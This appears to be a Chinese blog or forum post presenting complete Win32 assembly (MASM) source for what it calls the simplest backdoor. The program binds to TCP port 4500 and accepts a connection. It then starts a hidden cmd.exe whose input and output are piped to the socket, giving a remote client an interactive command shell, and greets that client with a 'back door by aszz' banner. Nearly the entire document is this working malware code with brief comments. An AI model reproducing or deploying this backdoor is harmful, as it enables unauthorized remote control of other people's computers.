最简单的后门——cmd传输win32汇编

  .386
  .model flat,stdcall
  option casemap:none

include  windows.inc
include  kernel32.inc
includelib  kernel32.lib
include  user32.inc
includelib  user32.lib
include  wsock32.inc
includelib  wsock32.lib

hThread STRUCT;创建线程的，设置一个结构体，相当于数组
 hThread1 dd ?
 hThread2 dd  ?
hThread ends
TCP_PORT equ 4500
.data
szMessage db '*******************************:back door by aszz:************************',0
szError  db 'socket error',0
szError1 db 'bind error',0
szError2 db 'listen error',0
szCmd  db '//cmd.exe',0
szError3 db 'create process error',0
szTyi  db '发生异常',0
.data?
hAndle  dd ?
dwThreadA dd ?
sListen  dd ?
dwThreadB dd ?
sClient  dd ?
hThread1 dd ?
hThread2 dd ?
hReadPipe dd ?
hWritePipe dd ?
hReadFile dd ?
hWriteFile dd ?
nBytetowrite dd ?
nbytewritten dd ?
hSocket  dd ?
len  dd ?
stTable  hThread 5 dup (<>)
.code
_Handler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext;异常
  local @szBuffer[256]:byte

  pushad
  mov esi,_lpExceptionRecord
  mov edi,_lpContext
  assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
  
;********************************************************************
; 将 EIP 指向安全的位置并恢复堆栈
;********************************************************************
  mov eax,_lpSEH
  push [eax + 8];程序自定的数据
  pop [edi].regEip
  push [eax + 0ch]
  pop [edi].regEbp
  push eax
  pop [edi].regEsp
  assume esi:nothing,edi:nothing
  popad
  mov eax,ExceptionContinueExecution
  ret

_Handler endp

Threadwrite proc uses ebx esi edi _lParam 
 
  LOCAL @sa:SECURITY_ATTRIBUTES
  ;LOCAL nBytetowrite,nbytewritten
  
  LOCAL recvbuff[1024]:byte
  mov @sa.nLength,sizeof SECURITY_ATTRIBUTES
  mov @sa.lpSecurityDescriptor,NULL
  mov @sa.bInheritHandle,TRUE
  pushad
  
  invoke CreatePipe,addr hReadPipe,addr hWriteFile,addr @sa,0;看清
  
  
  
  .while TRUE
  ;invoke MessageBox,NULL,addr recvbuff,0,MB_OK
   invoke Sleep,250
   invoke recv,sClient,addr recvbuff,1024,0;接受客户机的cmd命令，并在下面写入到本地的cmd进程中
   mov nBytetowrite,eax
   
   invoke WriteFile,hWriteFile,addr recvbuff,nBytetowrite,addr nbytewritten,NULL
  
  
  .endw
  popad
   
          
 ret

Threadwrite endp
Threadread proc uses ebx esi edi _lParam  
  LOCAL @sa:SECURITY_ATTRIBUTES
  
  LOCAL sendbuff[2048]:byte
  pushad
  mov @sa.nLength,sizeof SECURITY_ATTRIBUTES
  mov @sa.lpSecurityDescriptor,NULL
  mov @sa.bInheritHandle,TRUE
  
  invoke CreatePipe,addr hReadFile,addr hWritePipe,addr @sa,0
  .while TRUE
  ;invoke MessageBox,NULL,addr sendbuff,0,MB_OK
   invoke ReadFile,hReadFile,addr sendbuff,2048,addr len,NULL;从cmd进程读取状态，再在下面发送给客户机
   
   invoke send,sClient,addr sendbuff,len,0
   
   
  .endw
  popad
  
 ret

Threadread endp

.code
_wMain  proc
 LOCAL @pi:PROCESS_INFORMATION
 LOCAL @si:STARTUPINFO
 LOCAL @sin:sockaddr_in
 LOCAL @wsadata:WSADATA
 LOCAL @Cmdline[256]:byte
 assume fs:nothing;异常安装程序
  push ebp
  push offset _SafePlace
  push offset _Handler
  push fs:[0]
  mov fs:[0],esp
 
 invoke WSAStartup,101h,addr @wsadata
 .if !eax
  invoke socket,AF_INET,SOCK_STREAM,IPPROTO_TCP
  mov sListen,eax
  .if eax==INVALID_SOCKET
   invoke MessageBox,NULL,addr szError,0,MB_OK
   jmp _Ret
  .endif
  invoke RtlZeroMemory,addr @sin,sizeof @sin
  mov @sin.sin_family,AF_INET
  invoke htons,TCP_PORT
  mov @sin.sin_port,ax     ;任意地址
  mov @sin.sin_addr,INADDR_ANY
  
  invoke bind,sListen,addr @sin,sizeof @sin
  .if eax==SOCKET_ERROR
  invoke MessageBox,NULL,addr szError1,0,MB_OK
   jmp _Ret
  .endif
  
  invoke listen,sListen,2
  
  .if eax==SOCKET_ERROR
   invoke MessageBox,NULL,addr szError2,0,MB_OK
   jmp _Ret
  .endif
  invoke accept,sListen,NULL,0;以上都是一些初始化的操作permits an incoming connection attempt on a socket.
  mov sClient,eax
  
  mov esi,offset stTable
  
  assume esi:ptr hThread
  mov [esi].hThread1,1
  invoke CreateThread,NULL,0,offset Threadwrite,NULL,0,addr dwThreadA
  
  
  mov [esi].hThread1,eax
  
  invoke CreateThread,NULL,0,offset Threadread,NULL,0,addr dwThreadB ;创建2个线程一个读，一个写
  ;push eax
  ;pop hThread.hThread2
  
  mov [esi].hThread2,eax
  
  invoke Sleep,1000    ;设置cmd的输入和输出
  invoke GetStartupInfo,addr @si
  mov @si.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
  push hReadPipe     ;输入的是readpipe管道
  pop @si.hStdInput
  push hWritePipe
  pop @si.hStdError
  push hWritePipe     ;输出的是writepipe管道
  pop @si.hStdOutput
  
  mov @si.wShowWindow,SW_HIDE
  invoke GetSystemDirectory,addr @Cmdline,256
  invoke lstrcat,addr @Cmdline,addr szCmd
  invoke CreateProcess,addr @Cmdline,NULL,NULL,NULL,TRUE,0,NULL,NULL,addr @si,addr @pi;创建cmd进程
  .if eax==0
  
   invoke MessageBox,NULL,addr szError3,0,MB_OK
   jmp _Ret
   
  .endif
  invoke send,sClient,addr szMessage,sizeof szMessage,0;发送欢迎消息
  
 
  invoke WaitForMultipleObjects,2,addr [esi],TRUE,INFINITE;等待
  
  ;invoke WaitForMultipleObjects,1,addr [esi].hThread2,TRUE,INFINITE
  invoke CloseHandle,[esi].hThread1
  invoke CloseHandle,[esi].hThread2
  invoke closesocket,sClient
  invoke closesocket,sListen;善后工作
  
 .endif
 _Ret:
 ret
_SafePlace:
 invoke MessageBox,NULL,addr szTyi,0,MB_OK
 pop fs:[0]
 add esp,0ch
 ret

_wMain endp

start:
  call _wMain
  invoke ExitProcess,NULL
end start